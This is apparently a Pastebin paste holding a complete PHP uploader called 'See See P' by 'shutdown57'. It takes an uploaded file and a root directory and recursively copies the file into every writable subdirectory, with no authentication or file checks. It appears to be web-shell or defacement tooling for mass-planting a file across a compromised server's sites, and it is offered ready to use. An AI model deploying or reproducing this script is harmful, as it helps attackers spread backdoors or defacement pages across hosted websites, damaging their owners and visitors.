Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if (empty($_GET['execute'])) {
- ?>
- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="UTF-8">
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
- <title>See See P - shutdown57</title>
- <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/semantic.min.css">
- <script src="https://code.jquery.com/jquery-3.7.1.min.js" integrity="sha256-/JqT3SQfawRcv/BIHPThkBvs0OEvtFFmqPF/lYI/Cxo=" crossorigin="anonymous"></script>
- <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/semantic.min.js"></script>
- </head>
- <body>
- <div class="ui container" style="margin-top: 50px;">
- <center>
- <h1>See See P</h1>
- <p>A tool for uploading files and copying to all directories based on the root directory.</p>
- </center>
- <div class="ui centered card" style="min-width:500px;">
- <div class="content">
- <div class="header">File Upload</div>
- <div class="meta">Upload a file and specify the root directory</div>
- </div>
- <div class="content">
- <form id="upload-form" class="ui form">
- <div class="field">
- <label>Upload File</label>
- <input type="file" name="file" id="file" required>
- </div>
- <div class="field">
- <label>Root Directory</label>
- <input type="text" name="root-dir" id="root-dir" placeholder="Enter root directory" value="<?= __DIR__; ?>" required>
- </div>
- <button class="ui primary button" type="button" id="execute-btn">Execute</button>
- </form>
- </div>
- </div>
- <div id="result" style="margin-top: 20px;" class="ui message hidden">
- <div id="result-message"></div>
- <ul id="result-details"></ul>
- </div>
- </div>
- <script>
- $(document).ready(function () {
- $('#execute-btn').on('click', function () {
- const formData = new FormData($('#upload-form')[0]);
- $.ajax({
- url: '?execute=1',
- type: 'POST',
- data: formData,
- contentType: false,
- processData: false,
- dataType: 'json',
- beforeSend: function () {
- $('#result').removeClass('hidden').addClass('ui info message');
- $('#result-message').text('Processing...');
- $('#result-details').empty();
- },
- success: function (response) {
- if (response.status === 'success') {
- $('#result').removeClass('info').addClass('success');
- $('#result-message').text(response.message);
- response.details.forEach(function (detail) {
- $('#result-details').append('<li>' + detail + '</li>');
- });
- } else {
- $('#result').removeClass('info').addClass('error');
- $('#result-message').text(response.message);
- }
- },
- error: function () {
- $('#result').removeClass('info').addClass('error');
- $('#result-message').text('An error occurred. Please try again.');
- }
- });
- });
- });
- </script>
- </body>
- </html>
- <?php
- } else {
- if ($_SERVER['REQUEST_METHOD'] === 'POST') {
- $uploadDir = $_POST['root-dir'];
- $uploadDir = rtrim($uploadDir, '/') . '/';
- if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
- $uploadedFile = $_FILES['file'];
- $fileName = basename($uploadedFile['name']);
- if (!is_dir($uploadDir)) {
- echo json_encode(['status' => 'error', 'message' => 'Error: Directory does not exist!']);
- exit;
- }
- function copyToAllDirectories($baseDir, $fileTmpPath, $fileName) {
- $results = [];
- $dirHandle = opendir($baseDir);
- if (!$dirHandle) {
- return ["Failed to open directory: $baseDir"];
- }
- // Copy file to current directory if writable
- if (is_writable($baseDir)) {
- $destination = $baseDir . '/' . $fileName;
- if (copy($fileTmpPath, $destination)) {
- $results[] = "Copied to: $destination";
- } else {
- $results[] = "Failed to copy to: $destination";
- }
- } else {
- $results[] = "Skipped: Directory not writable - $baseDir";
- }
- // Iterate through subdirectories
- while (($entry = readdir($dirHandle)) !== false) {
- if ($entry === '.' || $entry === '..') {
- continue;
- }
- $subDir = $baseDir . '/' . $entry;
- if (is_dir($subDir)) {
- $results = array_merge($results, copyToAllDirectories($subDir, $fileTmpPath, $fileName));
- }
- }
- closedir($dirHandle);
- return $results;
- }
- $initialPath = $uploadDir . $fileName;
- if (move_uploaded_file($uploadedFile['tmp_name'], $initialPath)) {
- $results = copyToAllDirectories($uploadDir, $initialPath, $fileName);
- echo json_encode(['status' => 'success', 'message' => 'File uploaded and copied successfully.', 'details' => $results]);
- } else {
- echo json_encode(['status' => 'error', 'message' => 'Error: Failed to move uploaded file to root directory.']);
- }
- } else {
- echo json_encode(['status' => 'error', 'message' => 'Error: No file uploaded or upload failed.']);
- }
- } else {
- echo json_encode(['status' => 'error', 'message' => 'Invalid request method!']);
- }
- exit;
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment